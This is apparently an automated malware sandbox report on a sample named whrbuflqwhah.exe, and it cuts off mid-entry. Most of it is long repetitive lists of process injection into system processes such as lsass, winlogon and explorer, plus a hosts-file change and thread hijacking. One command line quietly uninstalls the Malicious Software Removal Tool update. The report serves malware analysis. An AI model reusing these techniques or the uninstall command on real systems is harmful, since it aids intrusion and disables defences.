Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2A6612D0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\dwm.exe base: 2BAAEDA0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 26A87990000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 17953770000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2295D530000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 253067D0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1845B370000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1ADEBFD0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1D559040000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 241A9E70000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1CD73160000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2824E860000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 21B473C0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2086F9D0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 17183BC0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 23FD3F70000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1D2A4150000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 275BDF30000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1AAC0260000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 203C9F30000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B5644B0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1BB7B2A0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1C004F60000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 24E2AB40000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2644ADB0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\spoolsv.exe base: 1990000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 20D25DA0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 26EF5350000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2A7F0D60000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 23D0FFB0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B1C2570000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2108B910000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 29166930000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeClickToRun.exe base: 21C13EF0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1988D570000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 13869B40000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1E1CC740000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2855DA70000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2BF199D0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 15AF3890000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 21A03B80000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\sihost.exe base: 1CD40E40000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 151A6530000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 19E29D00000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 17D7B150000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1BE621A0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2252F480000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\ctfmon.exe base: 1F28B4B0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 184683D0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\explorer.exe base: 1380000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1972E260000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\dasHost.exe base: 2246C5E0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 221D5930000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 1ECFC690000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 1D178970000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1A633B40000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2928D0A0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\dllhost.exe base: 13DAB4C0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\smartscreen.exe base: 1A22A640000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 21C6CF30000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 1EF641A0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\audiodg.exe base: 1D349350000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 23B60D90000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 2135E7B0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1F22F7C0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\ApplicationFrameHost.exe base: 1F6E8150000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 20C52340000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\ImmersiveControlPanel\SystemSettings.exe base: 2589DA90000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\oobe\UserOOBEBroker.exe base: 1F5602E0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 241096C0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 28E722F0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 19168E00000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\dllhost.exe base: 28D91BB0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\conhost.exe base: 26F19AF0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 1B647730000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 1E58CC00000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 287EAEC0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2360AE70000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 2C5CCF40000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Program Files\Windows Defender\MpCmdRun.exe base: 20B1BA90000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\conhost.exe base: 27C60030000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\wbem\WMIADAP.exe base: 26DC7740000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\wbem\WMIADAP.exe base: 26DC7770000 value starts with: 4D5A	Jump to behavior

Injects code into the Windows Explorer (explorer.exe)

Source: C:\Windows\System32\dialer.exe

Memory written: PID: 2580 base: 1380000 value: 4D

Jump to behavior

Modifies the context of a thread in another process (thread injection)

Source: C:\Users\user\Desktop\whrbuflqwhah.exe

Thread register set: target process: 7824

Jump to behavior

Modifies the hosts file

Source: C:\Users\user\Desktop\whrbuflqwhah.exe

File written: C:\Windows\System32\drivers\etc\hosts

Jump to behavior

Writes to foreign memory regions

Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\winlogon.exe base: 225DC610000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\lsass.exe base: 202C0AB0000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2A6612D0000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\dwm.exe base: 2BAAEDA0000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 26A87990000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 17953770000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2295D530000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 253067D0000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1845B370000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1ADEBFD0000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1D559040000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 241A9E70000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1CD73160000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2824E860000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 21B473C0000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2086F9D0000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 17183BC0000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 23FD3F70000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1D2A4150000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 275BDF30000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1AAC0260000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 203C9F30000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B5644B0000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1BB7B2A0000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1C004F60000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 24E2AB40000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2644ADB0000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\spoolsv.exe base: 1990000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 20D25DA0000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 26EF5350000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2A7F0D60000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 23D0FFB0000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B1C2570000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2108B910000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 29166930000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeClickToRun.exe base: 21C13EF0000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1988D570000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 13869B40000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1E1CC740000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2855DA70000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2BF199D0000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 15AF3890000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 21A03B80000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\sihost.exe base: 1CD40E40000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 151A6530000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 19E29D00000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 17D7B150000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1BE621A0000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2252F480000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\ctfmon.exe base: 1F28B4B0000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 184683D0000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\explorer.exe base: 1380000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1972E260000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\dasHost.exe base: 2246C5E0000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 221D5930000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 1ECFC690000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 1D178970000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1A633B40000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2928D0A0000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\dllhost.exe base: 13DAB4C0000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\smartscreen.exe base: 1A22A640000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 21C6CF30000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 1EF641A0000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\audiodg.exe base: 1D349350000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 23B60D90000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 2135E7B0000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1F22F7C0000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\ApplicationFrameHost.exe base: 1F6E8150000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 20C52340000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\ImmersiveControlPanel\SystemSettings.exe base: 2589DA90000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\oobe\UserOOBEBroker.exe base: 1F5602E0000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 241096C0000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 28E722F0000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 19168E00000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\dllhost.exe base: 28D91BB0000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\conhost.exe base: 26F19AF0000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 1B647730000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 1E58CC00000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 287EAEC0000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2360AE70000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 2C5CCF40000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Program Files\Windows Defender\MpCmdRun.exe base: 20B1BA90000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\conhost.exe base: 27C60030000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\wbem\WMIADAP.exe base: 26DC7740000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\wbem\WMIADAP.exe base: 26DC7770000	Jump to behavior

Source: C:\Users\user\Desktop\whrbuflqwhah.exe	Process created: C:\Windows\System32\dialer.exe C:\Windows\system32\dialer.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\choice.exe choice /C Y /N /D Y /T 3	Jump to behavior

Source: C:\Windows\System32\dialer.exe

Code function: 17_2_0000000140001B54 AllocateAndInitializeSid,SetEntriesInAclW,LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,CreateNamedPipeW,

17_2_0000000140001B54

Source: C:\Windows\System32\dialer.exe

Code function: 17_2_0000000140001B54 AllocateAndInitializeSid,SetEntriesInAclW,LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,CreateNamedPipeW,

17_2_0000000140001B54

Source: winlogon.exe, 00000016.00000002.3090792452.00000225DCB71000.00000002.00000001.00040000.00000000.sdmp, winlogon.exe, 00000016.00000000.1723155542.00000225DCB70000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: winlogon.exe, 00000016.00000002.3090792452.00000225DCB71000.00000002.00000001.00040000.00000000.sdmp, winlogon.exe, 00000016.00000000.1723155542.00000225DCB70000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: winlogon.exe, 00000016.00000002.3090792452.00000225DCB71000.00000002.00000001.00040000.00000000.sdmp, winlogon.exe, 00000016.00000000.1723155542.00000225DCB70000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock
Source: winlogon.exe, 00000016.00000002.3090792452.00000225DCB71000.00000002.00000001.00040000.00000000.sdmp, winlogon.exe, 00000016.00000000.1723155542.00000225DCB70000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: }Program Manager

Source: C:\Windows\System32\wbem\WmiPrvSE.exe

Code function: 3_2_000002C5CCF536F0 cpuid

3_2_000002C5CCF536F0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior

Source: C:\Windows\System32\dialer.exe

Code function: 17_2_0000000140001B54 AllocateAndInitializeSid,SetEntriesInAclW,LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,CreateNamedPipeW,

17_2_0000000140001B54

Source: C:\Windows\System32\wbem\WmiPrvSE.exe

